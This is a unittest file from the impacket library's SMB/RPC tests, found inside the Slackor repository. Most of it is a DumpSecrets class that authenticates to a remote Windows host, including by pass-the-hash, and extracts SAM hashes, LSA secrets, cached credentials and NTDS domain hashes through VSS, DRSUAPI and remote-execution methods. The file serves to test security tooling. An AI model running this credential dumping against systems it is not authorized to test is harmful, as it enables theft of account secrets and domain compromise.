github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/impacket/tests/SMB_RPC/test_secretsdump.py (about)

     1  try:
     2      import ConfigParser
     3  except ImportError:
     4      import configparser as ConfigParser
     5  import logging
     6  import os
     7  import unittest
     8  
     9  from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes
    10  from impacket.smbconnection import SMBConnection
    11  
    12  def _print_helper(*args, **kwargs):
    13      try:
    14          print(args[-1])
    15      except UnicodeError:
    16          pass
    17  
    18  class DumpSecrets:
    19      def __init__(self, remoteName, username='', password='', domain='', options=None):
    20          self.__useVSSMethod = options.use_vss
    21          self.__remoteName = remoteName
    22          self.__remoteHost = options.target_ip
    23          self.__username = username
    24          self.__password = password
    25          self.__domain = domain
    26          self.__lmhash = ''
    27          self.__nthash = ''
    28          self.__aesKey = options.aesKey
    29          self.__smbConnection = None
    30          self.__remoteOps = None
    31          self.__SAMHashes = None
    32          self.__NTDSHashes = None
    33          self.__LSASecrets = None
    34          self.__systemHive = options.system
    35          self.__bootkey = options.bootkey
    36          self.__securityHive = options.security
    37          self.__samHive = options.sam
    38          self.__ntdsFile = options.ntds
    39          self.__history = options.history
    40          self.__noLMHash = True
    41          self.__isRemote = True
    42          self.__outputFileName = options.outputfile
    43          self.__doKerberos = options.k
    44          self.__justDC = options.just_dc
    45          self.__justDCNTLM = options.just_dc_ntlm
    46          self.__justUser = options.just_dc_user
    47          self.__pwdLastSet = options.pwd_last_set
    48          self.__printUserStatus= options.user_status
    49          self.__resumeFileName = options.resumefile
    50          self.__canProcessSAMLSA = True
    51          self.__kdcHost = options.dc_ip
    52          self.__options = options
    53  
    54          if options.hashes is not None:
    55              self.__lmhash, self.__nthash = options.hashes.split(':')
    56  
    57      def connect(self):
    58          self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
    59          if self.__doKerberos:
    60              self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
    61                                                 self.__nthash, self.__aesKey, self.__kdcHost)
    62          else:
    63              self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
    64  
    65      def dump(self):
    66          try:
    67              if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
    68                  self.__isRemote = False
    69                  self.__useVSSMethod = True
    70                  if self.__systemHive:
    71                      localOperations = LocalOperations(self.__systemHive)
    72                      bootKey = localOperations.getBootKey()
    73                      if self.__ntdsFile is not None:
    74                      # Let's grab target's configuration about LM Hashes storage
    75                          self.__noLMHash = localOperations.checkNoLMHashPolicy()
    76                  else:
    77                      import binascii
    78                      bootKey = binascii.unhexlify(self.__bootkey)
    79  
    80              else:
    81                  self.__isRemote = True
    82                  bootKey = None
    83                  try:
    84                      try:
    85                          self.connect()
    86                      except Exception as e:
    87                          if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
    88                              # SMBConnection failed. That might be because there was no way to log into the
    89                              # target system. We just have a last resort. Hope we have tickets cached and that they
    90                              # will work
    91                              logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
    92                              pass
    93                          else:
    94                              raise
    95  
    96                      self.__remoteOps  = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
    97                      self.__remoteOps.setExecMethod(self.__options.exec_method)
    98                      if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
    99                          self.__remoteOps.enableRegistry()
   100                          bootKey             = self.__remoteOps.getBootKey()
   101                          # Let's check whether target system stores LM Hashes
   102                          self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
   103                  except Exception as e:
   104                      self.__canProcessSAMLSA = False
   105                      if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
   106                          and self.__doKerberos is True:
   107                          # Giving some hints here when SPN target name validation is set to something different to Off
   108                          # This will prevent establishing SMB connections using TGS for SPNs different to cifs/
   109                          logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')
   110                      else:
   111                          logging.error('RemoteOperations failed: %s' % str(e))
   112  
   113              # If RemoteOperations succeeded, then we can extract SAM and LSA
   114              if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
   115                  try:
   116                      if self.__isRemote is True:
   117                          SAMFileName         = self.__remoteOps.saveSAM()
   118                      else:
   119                          SAMFileName         = self.__samHive
   120  
   121                      self.__SAMHashes    = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)
   122                      self.__SAMHashes.dump()
   123                      if self.__outputFileName is not None:
   124                          self.__SAMHashes.export(self.__outputFileName)
   125                  except Exception as e:
   126                      logging.error('SAM hashes extraction failed: %s' % str(e))
   127  
   128                  try:
   129                      if self.__isRemote is True:
   130                          SECURITYFileName = self.__remoteOps.saveSECURITY()
   131                      else:
   132                          SECURITYFileName = self.__securityHive
   133  
   134                      self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps,
   135                                                     isRemote=self.__isRemote, history=self.__history)
   136                      self.__LSASecrets.dumpCachedHashes()
   137                      if self.__outputFileName is not None:
   138                          self.__LSASecrets.exportCached(self.__outputFileName)
   139                      self.__LSASecrets.dumpSecrets()
   140                      if self.__outputFileName is not None:
   141                          self.__LSASecrets.exportSecrets(self.__outputFileName)
   142                  except Exception as e:
   143                      if logging.getLogger().level == logging.DEBUG:
   144                          import traceback
   145                          traceback.print_exc()
   146                      logging.error('LSA hashes extraction failed: %s' % str(e))
   147  
   148              # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
   149              if self.__isRemote is True:
   150                  if self.__useVSSMethod and self.__remoteOps is not None:
   151                      NTDSFileName = self.__remoteOps.saveNTDS()
   152                  else:
   153                      NTDSFileName = None
   154              else:
   155                  NTDSFileName = self.__ntdsFile
   156  
   157              self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
   158                                             noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
   159                                             useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
   160                                             pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
   161                                             outputFileName=self.__outputFileName, justUser=self.__justUser,
   162                                             printUserStatus= self.__printUserStatus)
   163              try:
   164                  self.__NTDSHashes.dump()
   165              except Exception as e:
   166                  if logging.getLogger().level == logging.DEBUG:
   167                      import traceback
   168                      traceback.print_exc()
   169                  if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
   170                      # We don't store the resume file if this error happened, since this error is related to lack
   171                      # of enough privileges to access DRSUAPI.
   172                      resumeFile = self.__NTDSHashes.getResumeSessionFile()
   173                      if resumeFile is not None:
   174                          os.unlink(resumeFile)
   175                  logging.error(e)
   176                  if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0:
   177                      logging.info("You just got that error because there might be some duplicates of the same name. "
   178                                   "Try specifying the domain name for the user as well. It is important to specify it "
   179                                   "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
   180                  elif self.__useVSSMethod is False:
   181                      logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
   182              self.cleanup()
   183          except (Exception, KeyboardInterrupt) as e:
   184              if logging.getLogger().level == logging.DEBUG:
   185                  import traceback
   186                  traceback.print_exc()
   187              logging.error(e)
   188              if self.__NTDSHashes is not None:
   189                  if isinstance(e, KeyboardInterrupt):
   190                      while True:
   191                          answer =  input("Delete resume session file? [y/N] ")
   192                          if answer.upper() == '':
   193                              answer = 'N'
   194                              break
   195                          elif answer.upper() == 'Y':
   196                              answer = 'Y'
   197                              break
   198                          elif answer.upper() == 'N':
   199                              answer = 'N'
   200                              break
   201                      if answer == 'Y':
   202                          resumeFile = self.__NTDSHashes.getResumeSessionFile()
   203                          if resumeFile is not None:
   204                              os.unlink(resumeFile)
   205              try:
   206                  self.cleanup()
   207              except:
   208                  pass
   209  
   210      def cleanup(self):
   211          try:
   212              logging.info('Cleaning up... ')
   213              if self.__remoteOps:
   214                  self.__remoteOps.finish()
   215              if self.__SAMHashes:
   216                  self.__SAMHashes.finish()
   217              if self.__LSASecrets:
   218                  self.__LSASecrets.finish()
   219              if self.__NTDSHashes:
   220                  self.__NTDSHashes.finish()
   221          except Exception as e:
   222              if str(e).find('ERROR_DEPENDENT_SERVICES_RUNNING') < 0:
   223                  raise
   224  
   225  class Options(object):
   226      aesKey=None
   227      bootkey=None
   228      dc_ip=None
   229      debug=False
   230      exec_method='smbexec'
   231      hashes=None
   232      history=False
   233      just_dc=False
   234      just_dc_ntlm=False
   235      just_dc_user=None
   236      k=False
   237      no_pass=False
   238      ntds=None
   239      outputfile=None
   240      pwd_last_set=False
   241      resumefile=None
   242      sam=None
   243      security=None
   244      system=None
   245      target=''
   246      target_ip=''
   247      use_vss=False
   248      user_status=False
   249  
   250  class SecretsDumpTests(unittest.TestCase):
   251      def test_VSS_History(self):
   252          options = Options()
   253          options.target_ip = self.machine
   254          options.use_vss = True
   255          options.history = True
   256          dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options)
   257          dumper.dump()
   258  
   259      def aaaa_VSS_WMI(self):
   260          options = Options()
   261          options.target_ip = self.machine
   262          options.use_vss = True
   263          options.exec_method='wmiexec'
   264          dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options)
   265          dumper.dump()
   266  
   267      def test_DRSUAPI_DC_USER(self):
   268          options = Options()
   269          options.target_ip = self.machine
   270          options.use_vss = False
   271          options.just_dc = True
   272          options.just_dc_user = '%s/%s' % (self.domain.split('.')[0], 'Administrator')
   273          dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options)
   274          dumper.dump()
   275  
   276      def aaaa_VSS_MMC(self):
   277          options = Options()
   278          options.target_ip = self.machine
   279          options.use_vss = True
   280          options.exec_method='mmcexec'
   281          dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options)
   282          dumper.dump()
   283  
   284      def test_DRSUAPI(self):
   285          options = Options()
   286          options.target_ip = self.machine
   287          options.use_vss = False
   288          dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options)
   289          dumper.dump()
   290  
   291  class Tests(SecretsDumpTests):
   292      def setUp(self):
   293          SecretsDumpTests.setUp(self)
   294          # Put specific configuration for target machine with SMB1
   295          configFile = ConfigParser.ConfigParser()
   296          configFile.read('dcetests.cfg')
   297          self.username = configFile.get('SMBTransport', 'username')
   298          self.domain   = configFile.get('SMBTransport', 'domain')
   299          self.serverName = configFile.get('SMBTransport', 'servername')
   300          self.password = configFile.get('SMBTransport', 'password')
   301          self.machine  = configFile.get('SMBTransport', 'machine')
   302          self.hashes   = configFile.get('SMBTransport', 'hashes')
   303          self.aesKey   = configFile.get('SMBTransport', 'aesKey128')
   304  
   305  if __name__ == "__main__":
   306      suite = unittest.TestLoader().loadTestsFromTestCase(Tests)
   307      unittest.TextTestRunner(verbosity=1).run(suite)